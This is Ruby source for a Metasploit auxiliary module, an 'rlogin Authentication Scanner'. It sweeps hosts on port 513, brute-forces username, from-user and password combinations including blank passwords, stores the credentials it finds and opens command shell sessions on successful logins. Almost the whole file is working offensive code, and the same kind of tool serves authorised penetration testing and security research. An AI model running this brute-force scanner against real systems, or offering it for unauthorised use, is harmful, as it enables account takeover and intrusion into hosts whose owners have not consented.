## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::RServices include Msf::Auxiliary::Scanner include Msf::Auxiliary::Login include Msf::Auxiliary::CommandShell include Msf::Sessions::CreateSessionOptions include Msf::Auxiliary::ReportSummary def initialize super( 'Name' => 'rlogin Authentication Scanner', 'Description' => %q{ This module will test an rlogin service on a range of machines and report successful logins. NOTE: This module requires access to bind to privileged ports (below 1024). }, 'References' => [ [ 'CVE', '1999-0651' ], [ 'CVE', '1999-0502'] # Weak password ], 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(513), OptString.new('TERM', [ true, 'The terminal type desired', 'vt100' ]), OptString.new('SPEED', [ true, 'The terminal speed desired', '9600' ]) ] ) end def run_host(ip) print_status("#{ip}:#{rport} - Starting rlogin sweep") # We make a first connection to assess initial state of the service. If the # service isn't available, we don't even bother to try further attempts against # this host. Also, bind errors shouldn't happen and are treated as fatal here. status = connect_from_privileged_port return :abort if [ :refused, :bind_error ].include? status begin each_user_fromuser_pass { |user, fromuser, pass| ret = try_user_pass(user, fromuser, pass, status) status = nil ret } rescue ::Rex::ConnectionError nil end end def each_user_fromuser_pass(&block) # Class variables to track credential use (for threading) @@credentials_tried = {} @@credentials_skipped = {} credentials = extract_word_pair(datastore['USERPASS_FILE']) translate_proto_datastores() users = load_user_vars(credentials) fromusers = load_fromuser_vars() passwords = load_password_vars(credentials) cleanup_files() if datastore['BLANK_PASSWORDS'] credentials = gen_blank_passwords(users, credentials) end credentials.concat(combine_users_and_passwords(users, passwords)) credentials.uniq! # Okay, now we have a list of credentials to try. We want to merge in # our list of from users for each user. indexes = {} credentials.map! { |u, p| idx = indexes[u] idx ||= 0 pa = nil if idx >= fromusers.length pa = [ nil, p ] else pa = [ fromusers[idx], p ] indexes[u] = idx + 1 end [ u, pa ] } # If there are more fromusers than passwords, append nil passwords, which will be handled # specially by the login processing. indexes.each_key { |u| idx = indexes[u] while idx < fromusers.length credentials << [ u, [ fromusers[idx], nil ] ] idx += 1 end } indexes = {} # We do a second uniq! pass in case we added some dupes somehow credentials.uniq! fq_rest = "%s:%s:%s" % [datastore['RHOST'], datastore['RPORT'], "all remaining users"] credentials.each do |u, fupw| break if @@credentials_skipped[fq_rest] fq_user = "%s:%s:%s" % [datastore['RHOST'], datastore['RPORT'], u] userpass_sleep_interval unless @@credentials_tried.empty? next if @@credentials_skipped[fq_user] next if @@credentials_tried[fq_user] == fupw fu, p = fupw ret = block.call(u, fu, p) case ret when :abort # Skip the current host entirely. break when :next_user # This means success for that user. @@credentials_skipped[fq_user] = fupw if datastore['STOP_ON_SUCCESS'] # See? @@credentials_skipped[fq_rest] = true end when :skip_user # Skip the user in non-success cases. @@credentials_skipped[fq_user] = fupw when :connection_error # Report an error, skip this cred, but don't abort. vprint_error "#{datastore['RHOST']}:#{datastore['RPORT']} - Connection error, skipping '#{u}':'#{p}' from '#{fu}'" end @@credentials_tried[fq_user] = fupw end end def try_user_pass(user, luser, pass, status = nil) luser ||= 'root' vprint_status "#{Rex::Socket.to_authority(rhost, rport)} rlogin - Attempting: '#{user}':#{pass.inspect} from '#{luser}'" this_attempt ||= 0 ret = nil while this_attempt <= 3 and (ret.nil? or ret == :refused) if this_attempt > 0 # power of 2 back-off select(nil, nil, nil, 2**this_attempt) vprint_error "#{Rex::Socket.to_authority(rhost, rport)} rlogin - Retrying '#{user}':#{pass.inspect} from '#{luser}' due to reset" end ret = do_login(user, pass, luser, status) this_attempt += 1 end case ret when :no_pass_prompt vprint_status "#{Rex::Socket.to_authority(rhost, rport)} rlogin - Skipping '#{user}' due to missing password prompt" return :skip_user when :busy vprint_error "#{Rex::Socket.to_authority(rhost, rport)} rlogin - Skipping '#{user}':#{pass.inspect} from '#{luser}' due to busy state" when :refused vprint_error "#{Rex::Socket.to_authority(rhost, rport)} rlogin - Skipping '#{user}':#{pass.inspect} from '#{luser}' due to connection refused." when :skip_user vprint_status "#{Rex::Socket.to_authority(rhost, rport)} rlogin - Skipping disallowed user '#{user}' for subsequent requests" return :skip_user when :success # session created inside do_login, ignore return :next_user else if login_succeeded? start_rlogin_session(rhost, rport, user, luser, pass, @trace) return :next_user end end # Default to returning whatever we got last.. ret end def do_login(user, pass, luser, status = nil) # Reset our accumulators for interacting with /bin/login @recvd = '' @trace = '' # We must connect from a privileged port. This only occurs when status # is nil. That is, it only occurs when a connection doesn't already exist. if not status status = connect_from_privileged_port return :refused if status == :refused end # Abort if we didn't get successfully connected. return :abort if status != :connected # Send the local/remote usernames and the desired terminal type/speed sock.put("\x00#{luser}\x00#{user}\x00#{datastore['TERM']}/#{datastore['SPEED']}\x00") # Read the expected nul byte response. buf = sock.get_once(1) || '' return :abort if buf != "\x00" # NOTE: We report this here, since we are awfully convinced now that this is really # an rlogin service. report_service( :host => rhost, :port => rport, :proto => 'tcp', :name => 'login' ) # Receive the initial response Timeout.timeout(10) do recv end if busy_message? self.sock.close unless self.sock.closed? return :busy end # If we're not trusted, we should get a password prompt. Otherwise, we might be in already :) if login_succeeded? # should we report a vuln here? rlogin allowed w/o password?! print_good("#{target_host}:#{rport}, rlogin '#{user}' from '#{luser}' with no password.") start_rlogin_session(rhost, rport, user, luser, nil, @trace) return :success end # no password to try, give up if luser isnt enough. if not pass vprint_error("#{target_host}:#{rport}, rlogin '#{user}' from '#{luser}' failed (no password to try)") return :fail end # Allow for slow echos 1.upto(10) do recv(self.sock, 0.10) unless @recvd.nil? || password_prompt?(@recvd) end vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") # Not successful yet, maybe we got a password prompt. if password_prompt?(user) send_pass(pass) # Allow for slow echos 1.upto(10) do recv(self.sock, 0.10) break if login_succeeded? end vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Result: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") if login_succeeded? print_good("#{target_host}:#{rport}, rlogin '#{user}' successful with password #{pass.inspect}") start_rlogin_session(rhost, rport, user, nil, pass, @trace) return :success else return :fail end else if login_succeeded? && @recvd !~ /^#{user}\x0d*\x0a/ return :succeeded # intentionally not :success else self.sock.close unless self.sock.closed? return :no_pass_prompt end end # For debugging only. # rescue ::Exception # print_error("#{$!}") ensure disconnect() end def start_rlogin_session(host, port, user, luser, pass, proof) service_data = { address: host, port: port, service_name: 'rlogin', proof: proof, protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { module_fullname: self.fullname, origin_type: :service, username: user }.merge(service_data) login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_data) if pass service_data.merge!(:pass => pass) credential_data.merge!('PASSWORD' => pass) info = "RLOGIN #{user}:#{pass} (#{host}:#{port})" else service_data.merge!(:luser => luser) credential_data.merge!('FROMUSER' => luser) info = "RLOGIN #{user} from #{luser} (#{host}:#{port})" end create_credential_login(login_data) if datastore['CreateSession'] start_session(self, info, login_data, false, self.sock) # Don't tie the life of this socket to the exploit self.sock = nil end end end